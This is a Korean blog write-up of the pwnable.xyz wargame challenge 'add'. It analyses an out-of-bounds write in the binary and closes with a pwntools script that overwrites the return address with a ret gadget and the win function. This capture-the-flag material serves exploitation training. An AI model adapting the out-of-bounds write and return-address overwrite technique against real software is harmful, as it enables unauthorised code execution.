Write up (Wargame)/Pwnable

[pwnable.xyz] add 풀이

그믐​ 2022. 10. 27. 19:43
반응형

 

 

분석


이번에는 웬일로 바이너리에 checksec을 해보면

 

RELRO가 Partial.

PIE가 없다.

 

64bit 바이너리

 

그리곤 이렇게 input도 있다.

 

이제 ida를 보자

 

주석도 좀 달고 했는데

 

canary를 입력받아두고

 

0x50만큼을 memset으로 0으로 덮어버린다 canary까지는 아니다 어차피 크기가 0x60이라서

 

scanf는 아무래도 입력받은 인자 수를 반환하는 듯 하니 3개의 숫자를 입력해야하는 것 같고

 

v7으로부터 [v6]번째 인덱스에 v4+v5를 대입한다.

 

 

그리고

 

win이라는 함수도 존재한다.

got등을 덮을 때 이걸로 덮으면 되겠다.

 

 

풀이


v4는 rbp-0x78

v5 는 0x70

v6 0x68

 

v7은 0x60에 있다.

 

흠 ..  gdb를 보아하니..

got가 아니라 ret를 덮어야 할 거 같다. 이걸 바로 알지 못하고 봐야 안다니..

 

 

v7[11]이 cnry. rbp-0x8이었으니

 

v7[13]으로 해서 ret를 덮으면 될거같다.

 

우선 v6 = 13..

 

그리고 win주소를 만들기 위해서 (0x400822)

 

2로 나누면 0x200411.

 

10진수로 2098193이니까 이걸 v4, v5에 넣고

OOB를 이용해서 canary를 우회하면 될 것이다.

 

 

그렇게 ret에 win이 들어가긴 하는데

'a'를 넣어서 종료시키니까 

rsp가 맞지 않아서 do_system+1094에서 멈춘다.

 

 

 

그러면 ROPgadget에서 ret 가젯을 찾아서 추가해본다.

 

 

위 2097477 부분이 ret가젯을 넣는 부분이다.

 

ret를 ret가젯으로 덮고

다음 주소를 win으로 덮으면

ret를 거쳐 win이 실행된다.

 

 

 

여기서도 oob write임을 알려준다.

 

from pwn import *

p = process('./challenge')
p = remote('svc.pwnable.xyz', 30002)

#win = 0x0000000000400822
#v4 = 0x200411
#v5 = 0x200411 #v4+v5 == win
#v6 = 13 #index
#ret = 0x0000000040028b

p.recvuntil(': ')
p.sendline('2097477 2097478 13')
p.recv()

p.sendline('2098193 2098193 14')
p.recv()
p.sendline('a') #make break;
p.interactive()

 

 

반응형